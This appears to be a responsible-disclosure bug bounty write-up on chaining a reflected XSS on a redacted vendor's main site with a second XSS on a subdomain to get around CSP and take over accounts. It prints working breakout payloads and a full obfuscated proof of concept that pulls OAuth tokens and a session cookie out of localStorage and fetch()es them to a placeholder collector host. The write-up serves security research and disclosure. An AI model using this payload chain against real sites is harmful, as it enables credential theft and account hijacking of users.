During authorized recon on a large consumer hardware vendor's web assets (referred to here as REDACTED, since this is written around the time of responsible disclosure), I found a textbook reflected XSS on their main site, www.REDACTED.com. Normally that's already a solid finding. But the moment I tried to do anything useful with it, such as stealing a cookie, stealing a token, or exfiltrating anything at all, I hit a wall: a strict Content-Security-Policy blocking every outbound request to anywhere not on their own allow-list.
This is usually the point where a bug gets reported as "reflected XSS, but impact is limited due to CSP" and everyone moves on. Instead, I spent a bit more time on it, and ended up chaining it with a second XSS on an unrelated subdomain to fully bypass the CSP and pull off a one-click, full account takeover, with no password and no MFA required, just one link.
Here's the whole story.
Step 1: The first XSS
While fuzzing input parameters on www.REDACTED.com, I found that the query parameter on their search endpoint was reflected straight into the page's HTML/JS context without sanitization:
GET /search?query=<PAYLOAD>
Host: www.REDACTED.com
With the right breakout string, I could escape the existing <script> block and inject my own HTML and JavaScript:
REDACTED_USER"</script><iframe src=x id='myiframe'></iframe><script> … </script>
Confirmed: reflected XSS, executing in the real security context of www.REDACTED.com. Full DOM access, full document.cookie access, full localStorage access. For an authenticated user, this is normally game over.
Step 2: Finding the actual prize, tokens in localStorage
Once I had script execution, I checked what an authenticated session was actually holding onto client-side. This site wasn't relying only on cookies for auth. The OAuth/OIDC tokens themselves were sitting in localStorage:
localStorage.getItem('access_token')
localStorage.getItem('id_token')
localStorage.getItem('idp_access_token')
These tokens authenticate the user against the account-management subdomain (profile, orders, addresses). On top of that, a session cookie (dwsid) was used to load PII directly on the storefront: full name, address, phone number, order history.
In theory I had everything needed for a full account takeover sitting right there in memory. I just needed a way to get it out.
Step 3: Hitting the CSP wall
My first move was to fetch() the stolen data out to my own collector server. It didn't work. The response headers showed a Content-Security-Policy on www.REDACTED.com restricting connect-src, script-src and frame-src to a specific allow-list. My external domain wasn't on it, so the browser blocked the request before it left the page.
This is usually where people stop: "reflected XSS confirmed, but CSP prevents exfiltration, low/no real-world impact." Except, reading through that same allow-list, I noticed it explicitly trusted several first-party subdomains, like accounts.REDACTED.com and a handful of others, as valid connect/script/frame sources.
That gave me an idea. I didn't need to exfiltrate data from www.REDACTED.com at all. I just needed to hand the stolen data off to a different subdomain that wasn't wearing the same CSP straightjacket, and let that subdomain make the outbound request for me.
Step 4: Hunting for a second XSS on a subdomain
Back into recon mode, scanning across the company's subdomains for anything reflecting user input unsanitized. I landed on a survey/feedback-form subdomain (call it sub1.REDACTED.com), specifically a /multichannel-form endpoint taking a devices parameter. It reflected the parameter straight into an HTML attribute without escaping, letting me break out and inject an event-handler-based payload:
https://sub1.REDACTED.com/multichannel-form?devices=REDACTED_USER"oncontentvisibilityautostatechange=alert(new(URLSearchParams)(location.search).get('secret'))%20style=content-visibility:auto>&secret=
Confirmed: arbitrary JavaScript execution in the context of sub1.REDACTED.com, and critically, this subdomain did not carry the same restrictive CSP. Anything running here could freely reach an external server. That was the missing piece.
Step 5: Chaining them together
The plan: use the XSS on www.REDACTED.com to grab the tokens and cookie (since it runs in that origin), then instead of exfiltrating directly, package the stolen data into a URL pointed at the second XSS on sub1.REDACTED.com, load that URL in a hidden iframe, and let that subdomain's XSS fire the actual outbound request, since it isn't bound by the main domain's CSP at all.
Final proof-of-concept, delivered as a single clickable URL:
https://www.REDACTED.com/search?query=REDACTED_USER"</script><iframe src=x id='myiframe'></iframe><script>
var fixed = [/* char codes for: sub1.REDACTED.com/multichannel-form?devices=…oncontentvisibilityautostatechange=fetch(`https://ATTACKER_COLLECTOR/?secrets=${new(URLSearchParams)(location.search).get('secret')}`)%20style=content-visibility:auto>&secret= */];
l = localStorage;
t = 'access_token:' + l.getItem('access_token')
+ '\nid_token:' + l.getItem('id_token')
+ '\nidp_token:' + l.getItem('idp_access_token')
+ '\ndwsid:' + document.cookie.split('dwsid=')[1];
mal = btoa(unescape(encodeURIComponent(t)));
arr = mal.split('').map(c => c.charCodeAt(0));
var combined = fixed.concat(arr);
var result = String.fromCharCode.apply(null, combined);
document.getElementById('myiframe').src = decodeURIComponent(result);
</script>
What's actually happening, step by step:
fixedis the target URL template (sub1.REDACTED.com/multichannel-form?devices=...) pre-converted into an array of numeric character codes, which dodges naive keyword/pattern-based filtering on the reflected query parameter.l.getItem(...)pulls the three auth tokens straight out of localStorage;document.cookie.split('dwsid=')[1]grabs the session cookie.- Everything is joined into one string and Base64-encoded via
btoa(unescape(encodeURIComponent(t))), so it survives being embedded in a URL. - That encoded blob is converted to char codes and appended onto the end of the
fixedarray. String.fromCharCode.apply(null, combined)turns the whole thing back into a real string: now the full sub1.REDACTED.com XSS URL, with the stolen, Base64-encoded tokens tacked onto the secret= parameter.- That URL is assigned to a hidden iframe's src.
- The iframe silently navigates to sub1.REDACTED.com. Its XSS fires. The oncontentvisibilityautostatechange handler executes a fetch() out to my external collector, and because this request originates from sub1.REDACTED.com, not www.REDACTED.com, the main domain's CSP has zero say in blocking it.
- My collector receives a Base64 blob. Decoded, it holds the victim's access_token, id_token, idp_access_token, and session cookie.
At that point, replaying those tokens against the account APIs gives full impersonation of the victim, with no password, no MFA, and no second factor needed. One click on a link, and the account is gone.
Impact
- Full account takeover, triggered by a single click on a crafted link, for any authenticated user.
- Exposure of authentication tokens (access_token, id_token, idp_access_token) that authorize account/profile/order APIs.
- Exposure of a session cookie tied to PII (name, address, phone, order history).
- No user interaction beyond the initial click. Everything else happens silently via a hidden iframe.
A tip for other researchers
Don't stop your recon the moment you see the main auth token sitting in an HttpOnly cookie and assume "this one's safe from XSS." That's exactly the assumption that almost made me move on early in this engagement.
In a lot of real-world apps, HttpOnly cookies are only part of the auth story. Developers frequently leave debug/dev-environment code paths in production builds, and it's extremely common to find that:
- A separate copy of the token (or a legacy/parallel auth flow) got persisted into localStorage or sessionStorage, often leftover from a dev/staging environment where someone needed easy access to the token for testing, and just never removed it.
- SPA frameworks/SDKs (OAuth/OIDC client libraries especially) sometimes cache tokens client-side by default unless explicitly configured not to, even if the "official" session is otherwise cookie-based.
- Multiple tokens can coexist for different purposes (one for the storefront session, one for a separate account/identity subdomain), and only one of them ends up properly protected.
Practical takeaway: always manually check localStorage and sessionStorage for auth-looking keys, even if the primary session cookie is HttpOnly and looks solid. A quick Object.keys(localStorage) / Object.keys(sessionStorage) in the console after logging in takes ten seconds, and in this case, it turned out to be the entire reason a "CSP blocks it anyway" XSS became a full account takeover.